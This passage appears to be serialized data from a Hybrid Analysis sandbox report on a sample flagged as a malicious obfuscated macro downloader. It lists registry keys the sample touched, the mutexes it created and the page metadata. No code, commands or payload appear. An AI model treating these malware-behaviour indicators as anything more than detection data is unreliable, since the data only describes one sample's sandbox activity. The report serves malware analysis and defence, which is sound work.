LOCATIONS\\SHAREPOINT\\SITE 8\\SITE 8","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 9\\SITE 9","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 10\\SITE 10","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 11\\SITE 11","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 12\\SITE 12","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 13\\SITE 13","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 14\\SITE 14","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 15\\SITE 15","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 16\\SITE 16","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 17\\SITE 17","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 18\\SITE 18","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 19\\SITE 19","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 20\\SITE 20","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\EXCEL\\FILE MRU\\MAX DISPLAY\\MAX DISPLAY","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\EXCEL\\FILE MRU\\ITEM 1\\ITEM 1","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\EXCEL\\FILE MRU\\ITEM 2\\ITEM 2","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\EXCEL\\FILE MRU\\ITEM 3\\ITEM 3","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\EXCEL\\FILE MRU\\ITEM 4\\ITEM 4","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\EXCEL\\FILE MRU\\ITEM 5\\ITEM 5","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\EXCEL\\FILE MRU\\ITEM 6\\ITEM 6","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\EXCEL\\FILE MRU\\ITEM 7\\ITEM 7","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\EXCEL\\FILE MRU\\ITEM 8\\ITEM 8","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\EXCEL\\FILE MRU\\ITEM 9\\ITEM 9","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\EXCEL\\FILE MRU\\ITEM 10\\ITEM 10","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\EXCEL\\FILE MRU\\ITEM 11\\ITEM 11","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\EXCEL\\FILE MRU\\ITEM 12\\ITEM 12","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\EXCEL\\FILE MRU\\ITEM 13\\ITEM 13","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\EXCEL\\FILE MRU\\ITEM 14\\ITEM 14","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\EXCEL\\FILE MRU\\ITEM 15\\ITEM 15","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\EXCEL\\FILE MRU\\ITEM 16\\ITEM 16","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\EXCEL\\FILE MRU\\ITEM 17\\ITEM 17","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\EXCEL\\FILE MRU\\ITEM 18\\ITEM 18","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\EXCEL\\FILE MRU\\ITEM 19\\ITEM 19","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\EXCEL\\FILE MRU\\ITEM 20\\ITEM 20","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\EXCEL\\FILE MRU\\ITEM 21\\ITEM 21","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\EXCEL\\FILE MRU\\ITEM 22\\ITEM 22","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\EXCEL\\FILE MRU\\ITEM 23\\ITEM 23","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\EXCEL\\FILE MRU\\ITEM 24\\ITEM 24","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\EXCEL\\FILE MRU\\ITEM 25\\ITEM 25","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\EXCEL\\FILE MRU\\ITEM 26\\ITEM 26","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\EXCEL\\FILE MRU\\ITEM 27\\ITEM 27","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\EXCEL\\FILE MRU\\ITEM 28\\ITEM 28","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\EXCEL\\FILE MRU\\ITEM 29\\ITEM 29","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\EXCEL\\FILE MRU\\ITEM 30\\ITEM 30","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\EXCEL\\FILE MRU\\ITEM 31\\ITEM 31","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\EXCEL\\FILE MRU\\ITEM 32\\ITEM 32","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\EXCEL\\FILE MRU\\ITEM 33\\ITEM 33","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\EXCEL\\FILE MRU\\ITEM 34\\ITEM 34","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\EXCEL\\FILE MRU\\ITEM 35\\ITEM 35","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\EXCEL\\FILE MRU\\ITEM 36\\ITEM 36","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\EXCEL\\FILE MRU\\ITEM 37\\ITEM 37","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\EXCEL\\FILE MRU\\ITEM 38\\ITEM 38","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\EXCEL\\FILE MRU\\ITEM 39\\ITEM 39","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\EXCEL\\FILE MRU\\ITEM 40\\ITEM 40","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\EXCEL\\FILE MRU\\ITEM 41\\ITEM 41","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\EXCEL\\FILE MRU\\ITEM 42\\ITEM 42","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\EXCEL\\FILE MRU\\ITEM 43\\ITEM 43","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\EXCEL\\FILE MRU\\ITEM 44\\ITEM 44","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\EXCEL\\FILE MRU\\ITEM 45\\ITEM 45","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\EXCEL\\FILE MRU\\ITEM 46\\ITEM 46","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\EXCEL\\FILE MRU\\ITEM 47\\ITEM 47","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\EXCEL\\FILE MRU\\ITEM 48\\ITEM 48","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\EXCEL\\FILE MRU\\ITEM 49\\ITEM 49","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\EXCEL\\FILE MRU\\ITEM 50\\ITEM 50","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\AUTODETECT\\AUTODETECT","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\{33AAD629-D83F-4FBC-8D2F-FD1B2305E4FB}\\WPADDETECTEDURL\\WPADDETECTEDURL","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\0A-00-27-00-00-00\\WPADDETECTEDURL\\WPADDETECTEDURL","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\EXCEL\\RESILIENCY\\STARTUPITEMS\\K8<\\K8<","sources":[{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\EXCEL\\RESILIENCY\\DOCUMENTRECOVERY\\14F3E5\\14F3E5\\14F3E5","sources":[{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\EXCEL\\RESILIENCY\\DOCUMENTRECOVERY\\14F3E5\\","sources":[{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]}]},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\IESQMMUTEX_0_208","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"name":"DBWinMutex","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"}]},{"name":"Local\\ZonesCounterMutex","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"},{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"}]},{"name":"Local\\c:!users!5trmdl5!appdata!local!microsoft!windows!history!history.ie5!","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"}]},{"name":"RasPbFile","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"},{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"name":"Local\\WininetConnectionMutex","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"},{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"}]},{"name":"Global\\552FFA80-3393-423d-8671-7BA046BB5906","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"},{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"name":"IESQMMUTEX_0_208","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"},{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"}]},{"name":"Global\\MTX_MSO_AdHoc1_S-1-5-21-4162757579-3804539371-4239455898-1000","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"}]},{"name":"Local\\ZoneAttributeCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"},{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"}]},{"name":"Local\\c:!users!5trmdl5!appdata!local!microsoft!windows!temporary internet files!content.ie5!","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"}]},{"name":"Local\\10MU_ACB10_S-1-5-5-0-59580","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"}]},{"name":"Local\\WininetProxyRegistryMutex","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"},{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"}]},{"name":"Global\\MTX_MSO_Formal1_S-1-5-21-4162757579-3804539371-4239455898-1000","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"},{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"name":"Local\\!IETld!Mutex","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"},{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"}]},{"name":"Local\\10MU_ACBPIDS_S-1-5-5-0-59580","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"}]},{"name":"Local\\c:!users!5trmdl5!appdata!roaming!microsoft!windows!cookies!","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"}]},{"name":"Local\\c:!users!5trmdl5!appdata!roaming!microsoft!windows!ietldcache!","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"}]},{"name":"Local\\WininetStartupMutex","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"},{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\10MU_ACBPIDS_S-1-5-5-0-59580","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\552FFA80-3393-423d-8671-7BA046BB5906","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"},{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\10MU_ACB10_S-1-5-5-0-59580","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCounterMutex","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZoneAttributeCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"},{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"},{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\MTX_MSO_Formal1_S-1-5-21-4162757579-3804539371-4239455898-1000","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\MTX_MSO_AdHoc1_S-1-5-21-4162757579-3804539371-4239455898-1000","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\c:!users!5trmdl5!appdata!local!microsoft!windows!temporary internet files!content.ie5!","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\c:!users!5trmdl5!appdata!roaming!microsoft!windows!cookies!","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\c:!users!5trmdl5!appdata!local!microsoft!windows!history!history.ie5!","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\WininetStartupMutex","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\WininetConnectionMutex","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\WininetProxyRegistryMutex","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\!IETld!Mutex","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\c:!users!5trmdl5!appdata!roaming!microsoft!windows!ietldcache!","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\RasPbFile","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\DBWinMutex","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"}]},{"name":"Global\\MTX_MSO_Formal1_S-1-5-21-1663702577-2139711211-3687027567-1000","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"}]},{"name":"Global\\MTX_MSO_AdHoc1_S-1-5-21-1663702577-2139711211-3687027567-1000","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"}]},{"name":"Global\\MsoSqmMutex_S-1-5-21-1663702577-2139711211-3687027567-1000","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\x64_10MU_ACBPIDS_S-1-5-5-0-55393","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\x64_10MU_ACB10_S-1-5-5-0-55393","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\MTX_MSO_Formal1_S-1-5-21-686412048-2446563785-1323799475-1001","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\MTX_MSO_AdHoc1_S-1-5-21-686412048-2446563785-1323799475-1001","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\KYIMEShareCachedData.MutexObject.%OSUSER%","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\KYTransactionServer.MutexObject.%OSUSER%","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"name":"Global\\MTX_MSO_AdHoc1_S-1-5-21-686412048-2446563785-1323799475-1001","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"name":"Local\\x64_10MU_ACBPIDS_S-1-5-5-0-55393","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"name":"KYIMEShareCachedData.MutexObject.%OSUSER%","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"name":"Global\\MTX_MSO_Formal1_S-1-5-21-686412048-2446563785-1323799475-1001","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"name":"KYTransactionServer.MutexObject.%OSUSER%","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"name":"Local\\x64_10MU_ACB10_S-1-5-5-0-55393","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\MidiMapper_modLongMessage_RefCnt","sources":[{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\KYIMEShareCachedData.MutexObject.PSPUBWS","sources":[{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\KYTransactionServer.MutexObject.PSPUBWS","sources":[{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]}]}},"report_ids":{"sandbox_job_ids":["5b97ba39bb53f006b423bf0c","599a74437ca3e15e7e0d4144","564dd0920e316dc02830b544","564de7520e316dd350d4d776"]}}}]]}] 20:null 24:[["$","title","0",{"children":"Malicious GT:VB.Macros.ObfDldr.22 Sample 3e8698c52b64… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 3e8698c52b64…. Malware family: GT:VB.Macros.ObfDldr.22. Threat score 100/100. 18/29 AV engines flagged this file. 16 malicious and 11 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/3e8698c52b6469a78b34a45d504e75beb866c2ccd3a273eb116a0bd342ecc5cb"}],["$","meta","4",{"property":"og:title","content":"Malicious GT:VB.Macros.ObfDldr.22 Sample 3e8698c52b64… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 3e8698c52b64…. Malware family: GT:VB.Macros.ObfDldr.22. Threat score 100/100. 18/29 AV engines flagged this file. 16 malicious and 11 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/3e8698c52b6469a78b34a45d504e75beb866c2ccd3a273eb116a0bd342ecc5cb"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious GT:VB.Macros.ObfDldr.22 Sample 3e8698c52b64… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 3e8698c52b64…. Malware family: GT:VB.Macros.ObfDldr.22. Threat score 100/100. 18/29 AV engines flagged this file. 16 malicious and 11 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L30","11",{}]]